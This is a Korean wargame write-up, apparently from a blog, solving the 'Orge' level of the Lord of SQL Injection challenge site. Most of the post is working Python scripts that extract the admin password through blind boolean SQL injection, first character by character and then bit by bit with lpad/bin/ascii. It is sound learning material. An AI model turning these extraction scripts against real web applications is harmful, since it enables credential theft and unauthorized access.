War Game/LOS(lord of sql injection)

[LOS] Orge 문제 풀이

zyari 2019. 8. 2. 02:04
반응형

문제


풀이

처음에 문제를 보고 org문제와 비슷하다는 생각을 했다. org문제처럼 비밀번호를 직접 알아내야 문제가 풀리는 구조였기 때문이다. org에서는 직접 값들을 일일이 입력해보는 방식으로 문제를 풀었는데 이번에는 파이썬으로 비밀번호를 알아낼 수 있게 코드를 작성해보기로 했다.

 


* 알고리즘 및 코드 설명

org문제와 마찬가지로 코드를 보면 어떤 값이 참이 될 때 Hello admin이 나오는 것을 확인할 수 있다. 그래서 그때와 마찬가지로 우리가 특정 값을 url로 넣었을 때 Hello admin이라는 글자가 페이지에 나온다면 그 조건을 만족하는 것이므로 비밀번호를 유추할 수 있다. 이 성질을 이용해 우리가 넣은 조건이 참인지 거짓인지 판단한다.

우선 length함수를 통해 비밀번호의 길이를 알아내고, substr을 이용해 해당 인덱스의 비밀번호가 무엇인지 유추한다.

 

1. python에서 url을 통해 접속하기위한 라이브러리 requests

우선 python에서 url을 통해 웹사이트에 접속하여 일들을 수행하기 위해서는 requests 라이브러리가 있어야한다.

Mac의 경우, terminal에서 sudo pip3.7(파이썬 버전이 3.7인 경우) install requests를 입력하여 requests 라이브러리를 설치한다.

그리고 terminal에서 python3을 입력후 python이 실행되었을 때( >>이 나왔을 때) import requests를 입력하고 엔터를 누르고 나서 에러가 뜨지 않으면 정상적으로 설치가 된 것이다!

 

2. requests 사용을 위핸 세팅

우선 맨 첫줄에 import requests를 써준다.

import requests

접속할 url을 넣을 변수를 하나 만들어서 그곳에 문제 페이지 url을 넣어준다.

url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"

쿠키값을 부여해야한다. 쿠키값을 저장할 변수를 만들어 그 변수에 쿠키값을 넣어준다.

cookies = {"PHPSESSID" : "쿠키값"}

* 자 그럼 여기서 쿠키값을 어떻게 보느냐???

크롬 브라우저로 해당 페이지를 접속 후 로그인을 한다. 하고나서 F12를 눌러 개발자도구를 켜준다. 개발자도구의 Application을 클릭하고, Cookies탭의 Value값에 보면 PHPSESSID값이 나와있을 것이고, 그 값을 복사해서 위의 코드의 쿠키값 부분에 붙여넣기 해준다.

특히 이 문제를 포함하여 로그인을 해야만 해당 페이지가 접속한 페이지의 경우 이 부분을 빼먹으면 페이지 접속이 안되기 때문에 꼭 빼먹지 말도록 하자. 

 

3. requests를 이용해 패스워드 길이 알아내기

우선 비밀번호의 길이를 나타내는 코드를 작성해보자. 위에서 말했듯이 length함수를 이용해서 탐색할 것이다. 10자리 이내라고 가정하고 우선 0부터 9까지 length함수를 돌려보아서 해당 페이지의 코드에 Hello admin이 있다면 그 숫자가 바로 비밀번호의 길이가 될것이고, 그 길이를 length변수에 저장해준 후 break을 해준다. 코드는 다음과 같다.

print("start searching the length")

for i in range(0, 10):
    urls = url + "?pw=%27 || length(pw)=%27"+str(i) #위에서 쓴 url에 이어서 length함수를 쓴다
    with requests.Session() as s: #세션이 부여된 동안 반복
        response=s.get(urls, cookies=cookies) #이곳에 여러 파라미터를 합친 url과 쿠키를 넣어준다
        if "Hello admin" in response.text: #받아온 페이지 코드에 Hello admin이 있다면
            length=i #해당 숫자가 비밀번호 길이이므로 length에 넣어준다.
            break

print("password length is ", length) #패스워드 길이를 출력

 

4. requests를 이용해 패스워드 문자 탐색하기

substr함수를 이용해 해당 인덱스의 비밀번호값이 무엇인지 하나씩 알아내보도록 한다. 이것은 조금 다르게 문자도 패스워드가 될 수 있기 때문에 아스키코드 값으로 탐색을 해준다. 1은 아스키로 48이고, Z가 아스키로 90이므로 for문의 조건을 (48, 91)로 정해주고, url뒤에 합칠때 i를 char형으로 변환해주는 것을 잊지 말도록 한다. 파이썬에서는 chr함수를 이용하면 숫자를 char형태로 바꿔준다.  또한 substr에서 가운데 숫자가 변하므로 그부분을 i로, url의 마지막에 비밀번호에 해당하는 문자 변수가 들어가므로 그 부분을 j로 설정하여 계속 값을 바꿔가며 대입해본다. 특히 대입하여 3.과 마찬가지로 코드에 Hello admin이 있다면 그 문장이 참, 즉 해당 문자가 해당 인덱스의 패스워드가 되므로 인덱스와 문자를 같이 출력해주고 break해준다. 코드는 다음과 같다.

print("start searching passwords") #패스워드 탐색 시작

for j in range(0, length+1):
    for i in range(48, 91): #알파벳도 검색하기위해 아스키코드로 검색
        urls=url+"?pw=%27%20%20||%20id=%27admin%27%20%26%26%20substr(pw,"+str(j)+",%201)=%27"+chr(i) #대신 숫자인 아스키코드를 char형으로 변환
        with requests.Session() as s: #세션이 부여된 동안 반복
            response=s.get(urls, cookies=cookies)
            if "Hello admin" in response.text:
                print(j, " : ", chr(i)) #해당 인덱스의 비밀번호 내용이 뭔지 출력해준다
                break
                  
print("finish searching")

 

5. 따라서 전체 코드는 다음과 같다.

import requests

url="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"

length=0

cookies = {"PHPSESSID" : "쿠기값"} #로그인한 사용자의 쿠키로 로그인
print("start searching the length")

for i in range(0, 10):
    urls = url + "?pw=%27 || length(pw)=%27"+str(i)
    with requests.Session() as s:
        response=s.get(urls, cookies=cookies)
        if "Hello admin" in response.text:
            length=i
            break

print("password length is ", length) #패스워드 길이를 출력

print("start searching passwords") #패스워드 탐색 시작

for j in range(0, length+1):
    for i in range(48, 91): #알파벳도 검색하기위해 아스키코드로 검색
    #대신 숫자인 아스키코드를 char형으로 변환
        urls=url+"?pw=%27%20%20||%20id=%27admin%27%20%26%26%20substr(pw,"+str(j)+",%201)=%27"+chr(i) 
        with requests.Session() as s: #세션이 부여된 동안 반복
            response=s.get(urls, cookies=cookies)
            if "Hello admin" in response.text:
                print(j, " : ", chr(i)) #해당 인덱스의 비밀번호 내용이 뭔지 출력해준다
                break
                  
print("finish searching")

이 파이썬 코드를 실행하면 다음처럼 결과가 나온다.

그래서 이렇게 나온 비밀번호를 url에 입력해주면 문제가 풀리게 된다!


** 더 효과적인 풀이법 - lpad함수 이용

사실 위처럼 코드를 작성하면 1개의 글자를 찾을때 최대 44번정도의 쿼리를 보내야기 때문에 매우 비효율적이고 오래걸린다. 그래서 효과적인 방법으로 바이너리를 비교하는 방법이 있다. 우선 사용할 함수에 대해 자세히 알아보자.

1. ascii함수 : 해당 문자열을 아스키값을 변환해준다.

2. lpad함수 : 원하는 문자열을 원하는 길이만큼 패딩해준다. 형식 - lpad(문자열, 원하는 총 길이, 채우고싶은 문자열)

 ex. lpad('admin', 8, 0) -> 000admin

3. bin함수 : 해당 값을 binary로 변환해준다.

 

자 그렇다면 위의 함수들이 필요한 이유에 대해 알아보자. 대략적인 로직은 다음과 같다.

1) 먼저 substr로 문자열1개를 추출한다.

2) 추출한 문자열을 ascii함수를 이용해 아스키값으로 변환해준다.

3) 변환한 아스키값을 bin함수를 이용해 binary로 바꿔준다.

4) 변환한 binary 값을 lpad함수를 이용해 8비트로 패딩해준다.

5) 패딩한 값을 한비트씩 substr로 검사해 0인지 1인지 판단한다.

 

이렇게만 봐서는 이해가 가지 않으니 예시를 통해 알아보자. 예를들어 비밀번호가 admin이라고 하자.

1) 먼저 substr로 a만 추출한다 -> substr('admin', 1, 1)의 결과는 a

2) a를 ascii값으로 변환한다 -> ascii(substr('admin', 1, 1))의 결과는 97

3) 97을 binary로 바꾼다 -> bin(ascii(substr('admin', 1, 1)))의 결과는 1100001

4) 1100001를 8비트로 패딩한다 -> lpad(bin(ascii(substr('admin', 1, 1))))의 결과는 01100001

5) 01100001을 한비트씩 substr로 검사 

ex. substr('01100001', 1, 1)=1 이렇게 조건을 걸어두고 true라면 첫번째 비트가 1인것이고, false라면 첫번째 비트가 0인것이다. 이 예시의 경우 첫번째 비트가 0이기 때문에 결과는 false가 나올것이다.

 

자 그럼 이 로직을 이용해 파이썬 코드를 짜보면 다음과 같다.

password=''

for i in range(1, length+1):
    binary=''
    for j in range(1, 9):
        urls=url+"?pw=%27%20%20||%20id=%27admin%27%20%26%26%20substr(lpad(bin(ascii(substr(pw,"+str(i)+", 1))), 8, 0),"+str(j)+", 1)='1"
        with requests.Session() as s: 
            response=s.get(urls, cookies=cookies)
            if "Hello admin" in response.text:
                binary+='1'
            else:
                binary+='0'

    print(i, " : ", binary)
    password+=chr(int(binary, 2)) #2진수로 표현된 binary의 10진수 값을 표현하는 법

print("password : ", password)

특히 여기에서는 HTML페이지에서 Hello admin이 나오면 해당 쿼리가 참인것이기 때문에 substr(값)=1이 참이라면 해당 비트가 1인것이고, 아니면 0인게 되므로 그 값을 새로 정한 binary 변수에 저장하여 8번 반복후, 8비트가 완성되면 그 값을 char형으로 변환해주면 비밀번호 한 글자가 나오게 된다.

결국 이 방법을 이용한다면, 8비트에 대해 각각 숫자가 0인지 1인지 알아내기만 하면 되기 때문에 비밀번호 한자리를 알아내는데 8번의 비교밖에 필요하지 않기 때문에 훨씬 적은 쿼리만으로 비밀번호를 알아낼 수 있다는 장점이 있다.

 

그래서 위의 파이썬 코드의 결과는 아래와 같다.

반응형

'War Game > LOS(lord of sql injection)' 카테고리의 다른 글

[LOS] Darkelf 문제 풀이  (0) 2019.08.02
[LOS] Wolfman 문제 풀이  (0) 2019.08.02
[LOS] Orc 문제 풀이  (0) 2019.07.30
[LOS] Goblin 문제풀이  (0) 2019.07.29
[LOS] Cobolt 문제풀이  (0) 2019.07.29